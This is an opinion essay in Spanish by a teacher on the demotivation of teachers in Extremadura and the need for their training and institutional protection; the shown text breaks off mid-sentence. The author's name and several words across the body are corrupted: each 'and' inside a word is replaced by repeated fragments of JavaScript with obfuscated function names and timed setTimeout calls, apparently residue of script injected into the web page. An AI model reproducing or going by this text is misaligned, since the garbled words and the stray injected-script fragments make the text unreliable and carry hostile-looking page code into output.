MOTIVAR AL DOCENTE DEL SIGLO XXI

Autora: Sandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andra Martínez Martín

Esta es una reflexión acerca de la necesidad de mejorar las condiciones actuales del profesorado extremeño, con el fin de que se adapte a las nuevas circunstancias que se desarrollan en el aula y una invitación a la reflexión, al debate y a la actuación para la mejora de la formación del docente y con ello superar conflictos y motivar al docente para que su labor como enseñante genere los frutos esperados en la sociedad extremeña del siglo XXI. Además, supone un llamamiento a la necesidad de protección de esta figura por parte de los miembros de la Administración correspondiente.

MOTIVAR AL DOCENTE DEL SIGLO XXI

En multitud de ocasiones me he aproximado a nuestras redes sociales en busca de datos acerca de la motivación de los adolescentes dentro del ámbito de la enseñanza. Me indigno cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando veo que se genera un debate que en la mayoría de las ocasiones no tiene el resultado fructífero esperado y se queda en meras ideas, iniciativas o proyectos influenciados por las vertientes políticas.

Hoy he estado reflexionandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando de nuevo sobre esta problemática que se me genera día tras día en la cabeza cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando procuro encontrar el camino correcto para despertar en los alumnos aquellos temas que les interesan y que me pueden servir al tiempo para trasmitir los contenidos de la materia de Lengua y Literatura.

Y de repente me di cuenta de que el problema era aún mayor, tanto o más importante que la propia motivación del alumnado, porque influye en este mismo directamente: es la motivación de los propios docentes.

Y no es que de golpe y porrazo haya sacado este tema y no se haya hablado de ello hasta la saciedad; muchos antes que yo lo han puesto sobre la mesa. Pero creo que sí que es cierto que yo misma no me había parado a darle la importancia que debo darle.

El docente de hoy vive desmotivado. Hablo en la generalidad del caso, porque lógicamente hay una parte bastante importante de profesores que llevan su labor día a día con un entusiasmo envidiable y que sin duda nos debe servir a todos de modelo. Bien es cierto que las circunstancias de un docente a otro son muy distintas, ya no sólo influenciadas por la región en la que se viva o el centro donde se desempeñen las funciones, sino también el nivel en el que se imparte y el clima de la propia aula. Es decir, que esto podría llevarnos mucho rato, puesto que los contextos son tan diversos como alumnos hay.

Pero bueno, sigamos con la generalidad del caso, porque sinceramente, lo que hoy me hizo reflexionar, no es el docente satisfecho y emocionado por su trabajo, sino el docente desmotivado, cansado y vencido.

El hecho de que un docente no pueda errar, que tenga la responsabilidad de ser un modelo perfecto, que tenga remordimiento por haber dicho un taco después de irritarse… la verdad es que los dos “bandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andos” , alumno y profesor, están bastante desequilibrados y creo que muchos de los problemas que se generan en el aula se deben precisamente a ese desequilibrio, a esa falta de autoconfianza, a la falta de protección y a la falta de motivación.
Sinceramente hoy me pregunto si realmente debe ser tan mirado con lupa el trabajo de un docente, cada minuto, sin que pueda acudir más a menudo a la espontaneidad de su profesión, a una mayor libertad fuera de las “cadenas” de un currículo caduco y limitado.

No podemos negar que en la mayoría de las ocasiones echamos gran parte de la culpa a alumnos y familias por los problemas que se pueden engendrar y desarrollar en el aula. Quizás, deberíamos darle la vuelta al prisma y hacer una radiografía exhaustiva de los profesores que viven dentro de esa desesperación constante donde se acaba tir